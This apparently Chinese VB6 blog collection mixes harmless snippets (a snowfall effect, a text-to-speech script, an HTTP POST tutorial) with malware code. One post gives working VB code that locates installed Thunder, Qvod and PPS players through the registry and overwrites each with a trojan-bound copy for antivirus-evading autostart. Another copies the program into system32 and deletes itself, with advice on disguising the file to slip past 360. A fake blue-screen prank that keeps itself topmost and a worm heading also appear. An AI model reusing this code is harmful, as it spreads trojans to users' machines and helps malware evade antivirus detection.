VB安全密码框 {anote icon="fa-download" href="http://pan.baidu.com/s/14a8xw" type="success" content="下载地址"/}

VB雪花飘飘 代码如下： 添加一个timer和一个labelPrivate Sub Form_Load() Me.Caption = "雪花飘飘" Me.BackColor = RGB(100, 100, 255) Label1(0).AutoSize = True: Label1(0).BackStyle = 0 Label1(0).Caption = "*": Label1(0).ForeColor = &amp;HFFFFFF Randomize For I = 0 To 40 If I > 0 Then Load Label1(I): Label1(I).Visible = True Label1(I).Move Me.ScaleWidth * Rnd, Me.ScaleHeight * Rnd Label1(I).Tag = Rnd * 7 - 3 &amp; "|" &amp; Rnd * 5 + 1 Label1(I).Font.Size = 5 + Rnd * 9 Next Label1(0).Font.Size = 9 Timer1.Enabled = True: Timer1.Interval = 50 End Sub Private Sub Timer1_Timer() Dim I As Long, S As Long, T As Single, L As Single Dim nTag As String, X As Single, y As Single, W As Single Randomize W = Label1(0).Height * 0.05 For I = 0 To Label1.Count - 1 nTag = Label1(I).Tag S = InStr(nTag, "|") X = Left(nTag, S - 1): y = Mid(nTag, S + 1) S = Int(Rnd * 10) If S = 0 Then X = Rnd * 11 - 5: Label1(I).Tag = X &amp; "|" &amp; y L = Label1(I).Left + X * W: T = Label1(I).Top + y * W If L < -Label1(I).Width Then L = Me.ScaleWidth If T < -Label1(I).Height Then T = Me.ScaleHeight If L > Me.ScaleWidth Then L = -Label1(I).Width If T > Me.ScaleHeight Then T = -Label1(I).Height Label1(I).Tag = Rnd * 11 - 5 &amp; "|" &amp; Rnd * 5 + 1 End If Label1(I).Move L, T Next End Sub

vb截包,发包知识及三大利器的使用 目录第一章:截包知识,本章主要介绍用HttpWatch软件截取网络数据包的方法及技巧 第二章:发包知识,本章主要介绍数据包的构成 第三章:三大利器的使用,本章主要介绍vb使用xmlhttp对象、webbrowser控件、inet控件进行Post发包、Get发包的方法第一章本文要用到的截包工具是HttpWatch,其他软件使用方法都差不多这里不再阐述。 软件下载地址: http://pan.baidu.com/s/1269w8 下载后请注意压缩包内的httpwatch.lic为授权文件,安装完成后把httpwatch.lic复制到安装目录里面> 安装完成后打开IE-工具-HttpWatch(IE6的直接能在主界面看到不用进工具里了),打开该软件,如图所示: 点击右上角的，软件界面会分离出另外一个窗口   我来介绍下按钮的功能, 平常用到的就3个按钮，代表开始截取、停止截取、清除截取的数据   再来介绍下面的界面:   平常用到的是Qverview、Content、Stream，Qverview的可以查看Post过去的详细目标地址，Content查看请求回来的返回值，Stream查看数据包信息！ 第二章先发一段数据,我们来分析它```basic POST /?login HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* Referer: https://passport.baidu.com/?login&tpl=mn Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 663; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: passport.baidu.com Content-Length: 236 Connection: Keep-Alive Cache-Control: no-cache Cookie: tpl_ok=&next_target=&tpl=mn&skip_ok=&aid=&need_pay=&need_coin=&pay_method=&u=http%3A%2F%2Fwww.baidu.com%2F&return_method=get&more_param=&return_type=&psp_tt=0&password=123465&safeflg=0&username=sunshinebean&verifycode=&mem_pass=on``` 关于Http头的构成我不阐述,详见: http://hi.baidu.com/absky_cxb/blog/item/f28065017032760a738da5cb.html 这里主要讲Post包的构成及比较重要的Http头参数 Http头里的Referer参数,简单的说就是来路,然后目标服务器能知道你这个Http请求是哪个页面请求过去的,有些服务器就是判断来路的所以这个参数比较重要 Http头里的Content-Type参数,提交的是网页信息可以是application/x-www-form-urlencoded,假如提交图片信息这个参数也会随之变成data Post的包参数全部用&符号隔开的,=号后面的是参数的值。有些参数是固定不变的有些却是随机改变的,这些参数80%能在网页源码里找到,10%能在cookie里找到,10%能在JS里构造(这个比较麻烦要会分析JS),在上面这段数据里变动的就帐号跟密码,别的参数都是固定的,当然这个结论要多次分析获得。比如这里的包, username=sunshinebean，password=123465就对应百度的帐号跟密码 第三章一:VB创建Xmlhttp对象```basic Private Function GetHtmlStr$(StrUrl$, switch%) '获取源码 Dim XmlHttp Set XmlHttp = CreateObject("Microsoft.XMLHTTP") XmlHttp.Open "GET", StrUrl, True XmlHttp.send stime = Now '获取当前时间 While XmlHttp.ReadyState 4 DoEvents ntime = Now '获取循环时间 If DateDiff("s", stime, ntime) > 3 Then GetHtmlStr = "": Exit Function '判断超出3秒即超时退出过程 Wend GetHtmlStr = StrConv(XmlHttp.ResponseBody, vbUnicode) Set XmlHttp = Nothing End Function ``` 这个是我自己写的一个函数，主要作用是获取指定网页的源码 XmlHttp.Open "GET", StrUrl, True "GET"是数据的请求方式,还有种就是POST提交数据写成"POST" StrUrl是指定的网址,GET请求时写要GET的目的网址，POST时写提交的目的地址 True是异步，False是同步,区别就是同步是等待数据全部获取后再显示,所以会卡,而异步则不会卡,所以推荐用异步比较好 XmlHttp.setRequestHeader "Referer", RefUrl 指定来路,上章已经提到过Referer参数的重要性了, RefUrl就写截包截来的那个来路 XmlHttp.setRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded" 这个上章也提到过,是类型,一般都是按截的包里面的写,网页的话直接写成这样就好:"application/x-www-form-urlencoded" XmlHttp.send "XXX" 这里的XXX就是post的包内容,Get的话这个是空的,POST的话把包的内容写在这里 然后该函数返回POST的返回信息,我们一般可以在返回值里提取出特定的东西来判断执行某样东西是否成功 二:webbrowser 先看段代码:```basic Private Sub Command1_Click() Dim URL$, Flags&, TargetFrame$, PostData() As Byte, Headers$ URL = "https://passport.baidu.com/?login" Flags = 0 TargetFrame = "" PostData = "tpl_ok=&next_target=&tpl=mn&skip_ok=&aid=&need_pay=&need_coin=&pay_method=&u=http%3A%2F%2Fwww.baidu.com%2F&return_method=get&more_param=&return_type=&psp_tt=0&password=123456&safeflg=0&username=sunshinebean&verifycode=" PostData = StrConv(PostData, vbFromUnicode) Headers = "Content-Type: application/x-www-form-urlencoded" & vbCrLf WebBrowser1.Navigate URL, Flags, TargetFrame, PostData, Headers End SubPrivate Sub Form_Load() WebBrowser1.Navigate "http://baidu.com" End Sub``` Webbrowser有个Navigate方法,参数是这样的: object.Navigate URL [Flags,] [TargetFrameName,] [PostData,] [Headers] 拿出MSDN，查之,如下```basic URL: Required. A string expression that evaluates to the URL, full path, or Universal Naming Convention (UNC) location and name of the resource to display.Flags: Optional. A constant or value that specifies whether to add the resource to the history list, whether to read from or write to the cache, and whether to display the resource in a new window. It can be a combination of the following constants or values. Constant Value Meaning navOpenInNewWindow 1 Open the resource or file in a new window. navNoHistory 2 Do not add the resource or file to the history list. The new page replaces the current page in the list. navNoReadFromCache 4 Do not read from the disk cache for this navigation. navNoWriteToCache 8 Do not write the results of this navigation to the disk cache.TargetFrameName: Optional. String expression that evaluates to the name of an HTML frame in URL to display in the browser window. The possible values for this parameter are: _blank Load the link into a new unnamed window. _parent Load the link into the immediate parent of the document the link is in. _self Load the link into the same window the link was clicked in. _top Load the link into the full body of the current window. A named HTML frame. If no frame or window exists that matches the specified target name, a new window is opened for the specified link.PostData: Optional. Data to send to the server during the HTTP POST transaction. For example, the POST transaction is used to send data gathered by an HTML form to a program or script. If this parameter does not specify any post data, the Navigate method issues an HTTP GET transaction. This parameter is ignored if URL is not an HTTP URL. Headers Optional. A value that specifies additional HTTP headers to send to the server. These headers are added to the default Internet Explorer headers. The headers can specify things like the action required of the server, the type of data being passed to the server, or a status code. This parameter is ignored if URL is not an HTTP URL.``` URL 指定需要使用的网页。 flags 指定是否将该资源添加到历史列表、或通过高速缓存读写，将该资源显示在一个新窗口中、或这些方式的组合。 targetframename 指定目标显示区的名称。 postdata 指定需要发送到 HTTP的Post的数据。 headers 指定需要发送的 HTTP 标题。 整合了下就是这样。PostData构造方法一样,就是要特别注意的是数据要转成vbFromUnicode才能提交 三,INET控件 我想这个控件大家应该不陌生吧,很多VB写的程序啊软件都用到了这个控件,这家伙封装了Http和Ftp协议使用起来很方便所以用的人很多。代码也很简洁呵呵~~```basic Dim PostDate As String If Inet1.StillExecuting = True Then Exit Sub PostDate = "tpl_ok=&next_target=&tpl=mn&skip_ok=&aid=&need_pay=&need_coin=&pay_method=&u=http%3A%2F%2Fwww.baidu.com%2F&return_method=get&more_param=&return_type=&psp_tt=0&password=123456&safeflg=0&username=sunshinebean&verifycode=" Inet1.Execute "https://passport.baidu.com/?login", "POST", PostDate, "Referer: https://passport.baidu.com/?login&tpl=mn" & vbCrLf & "Content-Type: application/x-www-form-urlencoded"``` Inet和xmlhttp的好处就是能提交Referer URL是Post的目标地址, operation是Get方法或者Post方法，data 是Post的数据, requestHeader是Referer来路和Content-Type 下面讲下数据的返回:```basic 在inet的StateChanged事件里返回数据,判断state是不是12,原因: 0 未报告状态icHostResolvingHost 1 控件正在寻找指定主机的IP地址icHostResolved 2 控件已成功找到指定主机的IP地址icConnecting 3 控件正在与指定主机进行连接icConnected 4 控件已成功与指定主机连接icRequesting 5 控件正在向主机发出请求icRequestSent 6 控件已成功向主机发出请求icReceivingResponse 7 控件正在从主机接收反馈信息icResponseReceived 8 控件已成功从主机接受反馈信息icDisconnecting 9 控件正在与主机断开icDisconnected 10 控件已与主机断开icError 11 在与主机通信的过程中发生了错误icResponseCompleted 12 请求结束且数据已经接收到 ``````basic Dim strData$ Dim bDone As Boolean: bDone = False vtData = Inet1.GetChunk(1024, icString) Do While Not bDone strData = strData & vtData DoEvents vtData = Inet1.GetChunk(1024, icString) If Len(vtData) = 0 Then bDone = True End If Loop``` 这里返回string类型的源码。。要是二进制或者UTF8的话还要简单 定义一个byte数组就行了 Dim Buff() As Byte Buff = Inet1.GetChunk(0, icByteArray) 获取到的图图保存在路径下面再用picture加载就是图图了。UTF8的源码用解码函数进行解码即可解决乱码的问题,UTF8解码函数:```basic Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpMultiByteStr As Long, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long Private Const CP_UTF8 = 65001 Function Utf8ToUnicode(ByRef Utf() As Byte) As String Dim lRet As Long Dim lLength As Long Dim lBufferSize As Long lLength = UBound(Utf) - LBound(Utf) + 1 If lLength

VB蓝屏代码-超邪恶 添加一个timer如图代码：Dim ctCi As Long, ctT As Long, ctExitT As Long, ctStr() As String, ctStrS As Long, ctExit As Boolean Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Private Sub Form_Load() ctExitT = 12 '程序自动退出的时间（秒），可根据自己的喜好设定 Me.BackColor = RGB(0, 0, 255): Me.Caption = "蓝屏死机" Me.AutoRedraw = True: Me.WindowState = 2 Me.Font.Size = 21: Me.ForeColor = &amp;HFFFFFF Timer1.Interval = 50: Timer1.Enabled = True ReDim ctStr(0 To 0) End Sub Private Sub Form_Click() If ctExit Then Unload Me End Sub Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) '单击左上角 20 个像素范围 Dim S1 As Single S1 = Me.ScaleX(20, 3, Me.ScaleMode) If X > S1 Or Y > S1 Then ctCi = 0: Exit Sub ctCi = ctCi + 1 If ctCi > 4 Then Call ExitInf End Sub Private Sub ExitInf() Timer1.Enabled = False: Me.WindowState = 0: ctCi = 0: ctExit = True Me.Move Screen.Width * 0.1, Screen.Height * 0.1, Screen.Width * 0.8, Screen.Height * 0.8 ctStrS = -1 AddStr "哈哈，一个玩笑" AddStr "结束本程序：单击蓝色区任意位置" Call ShowStr End Sub Private Sub Timer1_Timer() Static Ci As Long WinInTop Me.hWnd, True '始终将窗体保持在最前面，使用户无法使用开始菜单、任务管理器，无法操作任何程序 Ci = Ci + 1 If Ci * Timer1.Interval < 1000 Then Exit Sub '保证一秒钟计数一次 Ci = 0: ctExitT = ctExitT - 1: ctT = ctT + 1 If ctExitT < 1 Then Call ExitInf: Exit Sub Select Case ctT Case 1 ctStrS = -1 AddStr "Your Windows is died" Call ShowStr Case 5 ctStrS = -1 AddStr "Windows 警告" AddStr "内存出现严重错误" Call ShowStr Case 10 To 24 ctStrS = -1 AddStr "警告" AddStr "硬盘错误，无法正常运行 Windows" AddStr "Windows 正在试图修复所有错误" AddStr "请等待 " &amp; ctExitT &amp; " 秒……" Call ShowStr Case 25 ctStrS = -1 AddStr "警告" AddStr "由于你使用了盗版操作系统" AddStr "微软惩罚你：定期死机" Call ShowStr Case Else If ctT > 30 Then ctT = 0 End Select End Sub Private Sub AddStr(nStr) ctStrS = ctStrS + 1 ReDim Preserve ctStr(0 To ctStrS): ctStr(ctStrS) = nStr End Sub Private Sub ShowStr() Dim I As Long, S1 As Single, Y0 As Single, Y As Single, Hj As Single S1 = Me.TextHeight("A"): Hj = 0.5 '行高和行距 Y0 = S1 * (1 + Hj) * (1 + ctStrS) - S1 * Hj Y0 = (Me.ScaleHeight - Y0) * 0.5 Me.Cls For I = 0 To ctStrS Me.CurrentX = (Me.ScaleWidth - Me.TextWidth(ctStr(I))) * 0.5 Me.CurrentY = Y0 + I * S1 * (1 + Hj) Me.Print ctStr(I) Next End Sub Private Sub WinInTop(nWnd As Long, Optional InTop As Boolean) Const HWND_NoTopMost = -2 '取消在最前 Const HWND_TopMost = -1 '最上 Const SWP_NoSize = &amp;H1 'wFlags 参数 Const SWP_NoMove = &amp;H2 Const SWP_NoZorder = &amp;H4 Const SWP_ShowWindow = &amp;H40 Const SWP_HideWindow = &amp;H80 Dim nIn As Long If InTop Then nIn = HWND_TopMost Else nIn = HWND_NoTopMost SetWindowPos nWnd, nIn, 0, 0, 0, 0, SWP_NoSize + SWP_NoMove End Sub

VB判断程序自身是否被修改（防脱壳） 以前写的，用了2个判别办法。1.检测自身文件大小 2.检测CRC32（当然也可以检测md5）补充几句：最简单的就是加个变态壳。。不然遇到高手这也是浮云。。先上图。代码如下：

VB之远控免杀之破杀软自启动 以前买了本书《终极免杀》，书还不错，主要是看中了360免杀的专题。里面就讲了这个方法来自启动。思路如下：查找系统指定软件路径（用注册表），然后把木马与主程序捆绑并替换。有些程序会自身检测。这个就要靠你自己了。源码中的资源文件放木马,源码感染的是迅雷，当然你可以改成别的！核心模块代码;Function GanRanExe(ByVal sFilePath As String) Dim MyArray() As Byte Dim CurrentSize As Long Dim FileArray() As Byte, FileArray1() As Byte Open App.Path &amp; "\" &amp; App.EXEName &amp; ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray Close #1 Open sFilePath For Binary Access Read As #1 ReDim FileArray(LOF(1) - 1) Get #1, , FileArray Close #1 FileArray1 = LoadResData(101, "CUSTOM") Kill sFilePath Open sFilePath For Binary Access Write As #1 Put #1, , MyArray Put #1, , FileArray CurrentSize = LOF(1) Put #1, , FileArray1 Put #1, , "GanRanFileTbide" &amp; UBound(MyArray) + 1 &amp; "," &amp; UBound(FileArray) + 1 &amp; "," &amp; CurrentSize &amp; "," &amp; UBound(FileArray1) + 1 Close #1 End Function Function FenLiGanRanExe(ByVal FenLiToFilePath As String) On Error Resume Next Dim MyArray() As Byte Dim FileArray() As Byte Dim FenLiXinXi() As String Dim FenLiXinXiSize() As String Open App.Path &amp; "\" &amp; App.EXEName &amp; ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray FenLiXinXi = Split(StrConv(MyArray, vbUnicode), "GanRanFileTbide") FenLiXinXiSize = Split(FenLiXinXi(UBound(FenLiXinXi)), ",") ReDim FileArray(FenLiXinXiSize(1) - 1) Get #1, FenLiXinXiSize(0) + 1, FileArray Close #1 Kill FenLiToFilePath Open FenLiToFilePath For Binary Access Write As #1 Put #1, 1, FileArray Close #1 End Function Function FenLiGanRanExe1(ByVal FenLiToFilePath As String) On Error Resume Next Dim MyArray() As Byte Dim FileArray() As Byte Dim FenLiXinXi() As String Dim FenLiXinXiSize() As String Open App.Path &amp; "\" &amp; App.EXEName &amp; ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray FenLiXinXi = Split(StrConv(MyArray, vbUnicode), "GanRanFileTbide") FenLiXinXiSize = Split(FenLiXinXi(UBound(FenLiXinXi)), ",") ReDim FileArray(FenLiXinXiSize(3) - 1) Get #1, FenLiXinXiSize(2) + 1, FileArray Close #1 Kill FenLiToFilePath Open FenLiToFilePath For Binary Access Write As #1 Put #1, 1, FileArray Close #1 End Function Function TestGanRan(ByVal sFilePath As String) As Boolean Dim FileArray() As Byte Open sFilePath For Binary Access Read As #1 ReDim FileArray(LOF(1) - 1) Get #1, , FileArray Close #1 If InStr(StrConv(FileArray, vbUnicode), "GanRanFileTbide") > 0 Then TestGanRan = True Else TestGanRan = False End If End Function Public Function ReadReg(ByVal hKey) On Error Resume Next Set pReg = CreateObject("Wscript.Shell") ReadReg = pReg.RegRead(hKey) End Function Function PanDuanpath() As Boolean On Error Resume Next Dim thunderPath thunderPath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Thunder Network\ThunderOem\thunder_backwnd\dir") If Dir(thunderPath &amp; "\Program\Thunder.exe") <> "" Then FrmMain.Combo1.AddItem thunderPath FrmMain.Combo1.Text = thunderPath Else End If Dim Qvodpath Qvodpath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\QvodPlayer\Insert\Insertpath") If Dir(Qvodpath &amp; "/QvodPlayer.exe") <> "" Then FrmMain.Combo1.AddItem Qvodpath FrmMain.Combo1.Text = Qvodpath Else End If Dim PPSpath PPSpath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\PPStream.exe\Path") If Dir(PPSpath &amp; "/PPStream.exe") <> "" Then FrmMain.Combo1.AddItem PPSpath FrmMain.Combo1.Text = PPSpath Else End If End Function{anote icon="fa-download" href="http://pan.baidu.com/share/link?shareid=603098846&uk=1547026424" type="success" content="源码下载地址"/}

VB自删除+复制到系统目录 以前无聊写的声明文件复制到C盘属于敏感操作360绝对会提示或许可以先重命名为一个图片，再复制，再改后缀代码如下：Private Sub Form_Load() If Right(App.Path, 1) = "\" Then Path = App.Path ElseIf Right(App.Path, 1) <> "\" Then Path = App.Path + "\" End If If LCase(Path & App.EXEName & ".exe") <> LCase(Environ("windir") & "\system32\Jonty.exe") Then 'MsgBox Path & App.EXEName & ".exe" + vbCrLf + Environ("windir") & "\system32\Jonty.exe" FileCopy Path & App.EXEName & ".exe", Environ("windir") & "\system32\Jonty.exe" 'Shell Environ("windir") & "\system32\Jonty.exe", vbHide Call killmyself Shell Path & "killmyself.bat", vbHide End Else MsgBox "这里执行你要运行的文件" Call killmyself End End If End Sub Sub killmyself() Open App.Path & "\killmyself.bat" For Output As #1 '"@echo off" 不显示执行过程 Print #1, "@echo off" Print #1, "sleep 500" 'a.bat 删除指定文件 Print #1, "del " & App.EXEName + ".exe" 'a.bat 删除自身 Print #1, "del killmyself.bat" Print #1, "cls" Print #1, "exit" Close #1 End Sub

VB代码高亮记事本 网上收集的一款很不错的源码,速度很快！

用vb写的比sobig更毒的蠕虫病毒!!! 代码如下：

vbs发音代码 只支持英文！。。很好玩的哦~~~~新建一个后缀为.vbs的文本，然后把代码复制进去，最后保存就行了！代码如下dim msg,sapi msg=inputbox("输入文字","开口讲话") set sapi=createobject("sapi.spvoice") sapi.speak msg